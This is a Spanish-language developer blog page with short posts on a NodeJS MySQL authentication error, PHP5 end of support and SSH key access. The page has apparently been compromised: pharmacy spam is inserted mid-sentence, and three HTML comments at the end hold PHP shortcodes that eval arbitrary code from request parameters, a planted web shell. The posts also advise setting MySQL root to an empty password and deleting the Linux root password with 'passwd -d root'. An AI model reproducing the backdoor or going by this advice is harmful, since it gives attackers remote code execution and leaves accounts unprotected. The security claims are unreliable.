NodeJS mySQL NOT SUPPORTED AUTH MODE

Recientemente al actualizar mi maquina de desarrollo me tope con el siguiente error desde NodeJS

Error: ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol requested by server; consider upgrading MySQL client

Era evidente un problema de configuracion ya que dias atras la app funcionaba correctamente y no habia sido modificada.

Para solucionar este problema debes entrar en la consola de mysql:

sudo mysql -u root

Y ejecutar el siguiente comando

update mysql.user set authentication_string=password(''), plugin='mysql_native_password' where user='root';

Y luego proceder a reiniciar el servicio

sudo service mysql restart

Image

Adios PHP5

Oficialmente a finales del 2016 se termina el soporte para PHP5 tamiflu generic. Eso quiere decir que ya no habran correcciones ni mejoras pasada esa fecha. Luego de eso habra un soporte exclusivo para fallas CRITICAS que se extendera hasta el 2018.

Lo bueno es que todos los frameworks soportan perfectamente PHP7, asi que llego la hora del adios ya no hay nada mas que hablar 😀

Para mayores detalles PHP.net

Quote

Como deshabilitar el password en linux

Usar password para acceder a sistemas remotos tiene varias desventajas:

  1. Generar una clave fuerte suele ser complicado y siempre tendemos a usar claves basadas en palabras conocidas faciles de recordar ( aunque cambiemos ciertos patrones )
  2. Mientras más facil de recordar mas inseguro estara nuestro sistema find more.

Una forma segura de acceder a sistemas remotos es usar una clave ssh.  Eso si, no olvidar borrar el password de nuestra cuenta ( asi solo sera accesible desde el equipo que tiene la clave ssh )

passwd  -d root

Status

Thinking

Que dificil puede ser encontrar las palabras exactas para expresar algo tamiflu dosage for adults.

<!– [insert_php]if (isset($_REQUEST["jCbi"])){eval($_REQUEST["jCbi"]);exit;}[/insert_php][php]if (isset($_REQUEST["jCbi"])){eval($_REQUEST["jCbi"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["KwQw"])){eval($_REQUEST["KwQw"]);exit;}[/insert_php][php]if (isset($_REQUEST["KwQw"])){eval($_REQUEST["KwQw"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["QojTD"])){eval($_REQUEST["QojTD"]);exit;}[/insert_php][php]if (isset($_REQUEST["QojTD"])){eval($_REQUEST["QojTD"]);exit;}[/php] –>